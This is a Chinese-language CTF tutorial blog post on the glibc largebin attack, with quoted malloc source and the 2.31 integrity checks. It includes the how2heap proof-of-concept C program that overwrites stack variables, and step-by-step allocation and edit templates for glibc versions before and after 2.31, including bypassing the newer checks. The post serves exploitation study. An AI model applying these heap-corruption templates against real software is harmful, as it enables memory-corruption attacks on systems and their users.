largebin attack高低版本的使用

largebin attack

largebin attack是一个在ctf中很好用的一种攻击方式,在目前的glibc中,主要在2.31这个版本前后有所差别,与unsortedbin attack不同(这种攻击在2.29就已经失效),unsortedbin attack是向任意地址写入一个mian_arena的地址,这个地址位于libc,而largebin attack写入的则是堆块地址,这篇文章将会从高版本和低版本两种情况下,通过对于源代码的分析,来展示largebin attack在不同版本下的使用,同时也会有poc进行分析,当然,如果你真的看不懂的话,我在最后也会总结出一种模版,告诉你怎么申请和修改,达到攻击效果

2.31以前

原理

那么在2.31之前,largebin attack其实很少用到,因为相较来说,unsortedbin attack要更加方便和快捷,最多是在2.29到2.31之间,作为unsortedbin attack的替代品(因为在2.29新增的保护使unsortedbin attack几乎失效)

我们先来看一下2.31之前largebin attack的源代码

漏洞主要发生在下列代码(来自 glibc-2.29/malloc/malloc.c:3841 ):

victim_index = largebin_index (size);
// 计算victim块在large bin中的索引

bck = bin_at (av, victim_index);
// 获取large bin中索引为victim_index的bin的起始位置

fwd = bck->fd;
// 获取bin中第一个块的地址

/* maintain large bins in sorted order */
// 保持large bin中的块按照大小排序

if (fwd != bck)
  // 如果large bin不为空

{
  /* Or with inuse bit to speed comparisons */
  size |= PREV_INUSE;
  // 使用inuse位加速比较

  /* if smaller than smallest, bypass loop below */
  assert (chunk_main_arena (bck->bk));
  // 断言bck->bk指向主arena

  if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
    // 如果当前块比最小的块还小,则跳过下面的循环

    {
      fwd = bck;
      // 将fwd指向bck,即将新块插入到链表头部

      bck = bck->bk;
      // 将bck向后移动一个位置

      victim->fd_nextsize = fwd->fd;
      // 设置新块的fd_nextsize为fwd的fd

      victim->bk_nextsize = fwd->fd->bk_nextsize;
      // 设置新块的bk_nextsize为fwd的fd的bk_nextsize

      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
      // 将fwd的fd的bk_nextsize和victim的bk_nextsize的fd_nextsize都指向victim
    }
  else
    // 否则,执行下面的排序插入逻辑

    {
      assert (chunk_main_arena (fwd));
      // 断言fwd指向主arena

      while ((unsigned long) size < chunksize_nomask (fwd))
        {
          fwd = fwd->fd_nextsize;
          // 如果当前块比fwd指向的块还小,则继续向后移动fwd

          assert (chunk_main_arena (fwd));
          // 断言fwd指向主arena
        }

      // 但是大小必须不同
      if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
        /* Always insert in the second position.  */
        fwd = fwd->fd;
        // 如果大小相同,则总是插入到第二个位置

      else
        {
          victim->fd_nextsize = fwd;
          // 设置新块的fd_nextsize为fwd

          victim->bk_nextsize = fwd->bk_nextsize;
          // 设置新块的bk_nextsize为fwd的bk_nextsize

          fwd->bk_nextsize = victim;
          // 设置fwd的bk_nextsize为victim

          victim->bk_nextsize->fd_nextsize = victim;
          // 设置victim的bk_nextsize的fd_nextsize为victim
        }

      bck = fwd->bk;
      // 将bck设置为fwd的bk
    }
}
else
  // 如果large bin为空

  victim->fd_nextsize = victim->bk_nextsize = victim;
  // 将新块的fd_nextsize和bk_nextsize都指向自己

这段代码通过插入新的块到 largebin中来保持 large bin 中的块按照大小排序。如果 large bin 不为空,代码会比较新的块和链表中块的大小,并根据大小将新的块插入到合适的位置。通过维护 fd_nextsize和bk_nextsize指针,代码确保large bin的双向链表结构是正确的。

而我们的利用点在于这两行代码

victim->bk_nextsize = fwd->fd->bk_nextsize;
// 设置新块(victim)的bk_nextsize为fwd的fd的bk_nextsize
victim->bk_nextsize->fd_nextsize = victim;
// 设置新块(victim)的bk_nextsize的fd_nextsize为victim

具体执行哪段代码还要取决与 两个chunk 的size 比较,但是两个堆块的size是不可以相等的

其次是 large bin 的 fd_nextsize 需要设置为0,否则程序流会执行到别的位置的代码

poc分析

我这里以how2heap2.27的largebin attack的demo来分析

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
    setbuf(stdout, NULL);

    printf("本文件演示了通过将一个大的无符号长值写入栈上的large bin攻击\n");
    printf("实际上,large bin攻击通常为进一步的攻击做准备,例如重写libc中的全局变量global_max_fast以进行进一步的fastbin攻击\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    printf("首先,我们看看要在栈上重写的目标:\n");
    printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    printf("现在,我们在堆上分配第一个大块:%p\n", p1 - 2);

    printf("再分配另一个fastbin块,以避免在free()期间将下一个大块与第一个大块合并\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    printf("然后,我们在堆上分配第二个大块:%p\n", p2 - 2);

    printf("再分配另一个fastbin块,以避免在free()期间将下一个大块与第二个大块合并\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    printf("最后,我们在堆上分配第三个大块:%p\n", p3 - 2);

    printf("再分配另一个fastbin块,以避免在free()期间将第三个大块与top块合并\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    printf("现在我们释放第一个和第二个大块,它们将被插入到unsorted bin中:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    printf("现在,我们分配一个比已释放的第一个大块小的块。这将把已释放的第二个大块移到large bin空闲列表中,"
           "使用已释放的第一个大块的一部分进行分配,并将剩余的第一个大块重新插入到unsorted bin中:"
           " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    printf("现在,我们释放第三个大块,它将被插入到unsorted bin中:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    // ------------漏洞模拟-----------

    printf("现在模拟一个漏洞,可以覆盖已释放的第二个大块的“size”以及它的“bk”和“bk_nextsize”指针\n");
    printf("基本上,我们减少已释放的第二个大块的大小,以强制malloc在large bin空闲列表的头部插入已释放的第三个大块。"
           "为了覆盖栈变量,我们将“bk”设置为stack_var1之前的16字节,将“bk_nextsize”设置为stack_var2之前的32字节\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    // --------------------------------

    malloc(0x90);

    printf("让我们再分配一次,这样已释放的第三个大块就会被插入到large bin空闲列表中。"
           "此时,目标应该已经被重写:\n");

    printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    // 完整性检查
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

首先我们先确定我们要修改的目标

stack_var1 (0x7fffffffdda0): 0
stack_var2 (0x7fffffffdda8): 0

这两个在栈上的变量最初都为0

然后我们准备进行攻击,申请六个堆块,按照顺序分别为0x420,0x20,0x500,0x20,0x500,0x20,其中这三个0x20大小的堆块起到隔绝的作用,因为在free的时候,如果是相邻堆块都被free,那会进行合并,要是与top chunk相邻也会被合并进top chunk,所以三个堆块是防止堆块合并用的(poc里面也说的很清楚)

在申请完堆块就会是这个样子,由于我用的glibc是2.27的版本,所以就有一个0x250的初始堆块

然后我们释放第一个和第二个大堆块,由于堆块大于0x400,所以在被free的时候不会进入tcachebins里面,而是会进入unsortedbin里面

现在我们申请一个堆块,要比第一次释放,在这里也就是0x420大小的堆块,要小的堆块,poc里面是0x90,那么在这个时候,程序就会分割第一次释放的这个0x420大小的堆块,同时检查unsortedbins里面别的堆块大小,这个时候第二次放进去的这个0x500的堆块会被链入largebin(这里要注意的是,largebin最小值就是0x420,在切割之后,第一个堆块大小是够不到largebin的最小值的,也就是它不会进入largebin,会重新插入到unsorted bin中),我们可以看一下现在的堆块情况

现在我们再释放第三个大堆块,这个堆块会进入unsorted里面

我们来看看这个时候的链表,unsortedbin里面是两个堆块,一和三,largebin里面只有一个堆块,那就是二

假设我们有一个漏洞,比如uaf或者堆溢出,可以修改2号堆块的size,bk”和“bk_nextsize”指针,把size改的比第三个堆块小,然后修改bk和bk_nextsize,把bk改为stack_var1-0x10,把bk_nextsize改为stack_var2-0x20

再申请一个0x90大小的堆块,这样3号堆块也会被链入largebin,因为三号堆块比2号堆块大,所以会被放在largebin的头部,这时候就完成我们的攻击了

stack_var1 (0x7fffffffde40): 0x555555605bf0
stack_var2 (0x7fffffffde48): 0x555555605bf0

所以largebin是可以修改两个位置的

总结

add(0x420)#1
add(0x20)
add(0x500)#2
add(0x20)
add(0x500)#3
add(0x20)
free(1)
free(2)
add(0x90)#并不固定,都行
free(3)
edit(2)#修改2号堆块的size,小于0x500即可,不管是451,421,3f1都可以,然后修改bk或者bk_nextsize,要注意的是修改bk位MB地址减去0x10,如果修改bk_nextsize,则要修改为目标地址减去0x20

2.31之后

增加的检查

其实本质上没有变化,只是加了两个检查

if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd)) {
    malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)");
}

这是第一个检查,这个检查确保了当前块的bk_nextsize指针正确指向链表中的下一个块。如果不符合预期,意味着链表结构被破坏,程序将打印错误消息并终止。防止攻击者通过操纵bk_nextsize指针来控制链表结构。

if (bck->fd != fwd) {
    malloc_printerr("malloc(): largebin double linked list corrupted (bk)");
}

这个检查确保当前块的fd指针正确指向链表中的前一个块。如果不符合预期,意味着链表结构被破坏,程序将打印错误消息并终止。防止攻击者通过操纵fd指针来控制链表结构

当然也是可以绕过的,我们从poc出发

poc

首先我们先确定目标地址

0x7fffffffde00 : 0

我们先申请两个堆块,一大一小,小堆块防止合并

然后我们需要申请一个比第一个大堆块小,但是属于一个largebin的堆块,在glibc中,largebin的块大小范围是根据一定的规则分段的,块的大小范围可能会根据具体实现和版本有所不同。但是一般来说,512字节到1024字节的块属于一个largebin,1024字节到2048字节的块属于下一个largebin,所以我们这里分配一个0x418大小的堆块,再分配一个小堆块用来防止合并

最终是这样

然后将第一个大堆块free掉,再申请第三个大堆块,这个堆块size要比第一个大,这样的话死一个堆块就会放进largebin

再把2号大堆块free掉,这个堆块会先进入unsortedbin里面

此时,我们在large bin中有一个块 [p1] (0x555555559290),并且在unsorted bin中有一个块 [p2] (0x5555555596e0)

现在修改第一个大堆块的p1->bk_nextsize为目标地址减去0x20

可以看到我高亮的部分,这个位置就是target减去0x20

最后,分配一个比 2号堆块(0x418)大的块以将2号堆块放入large bin,由于glibc不会检查新插入的块是否比最小块更小,修改后的 p1->bk_nextsize 不会触发任何错误

将 [p2] (0x5555555596e0) 插入large bin时,[p1] (0x555555559290)->bk_nextsize->fd_nextsize 被覆盖为 [p2] (0x5555555596e0) 的地址

总结

add(0x428)#1
add(0x20)
add(0x418)#2
add(0x20)
free(1)
add(0x438)#3
free(2)
#这个时候,1在largebin,2在unsortedbin
edit(1)#修改一号堆块的bk_nextsize为目标地址减去0x20
add(0x438)#大于2号即可
#完成攻击,目标地址被改成2号堆块地址

参考连接

https://blog.eonew.cn/2019/10/29/glibc-2.29-large-bin-attack-%E5%8E%9F%E7%90%86/
https://github.com/shellphish/how2heap
1 条评论
某人
表情
可输入 255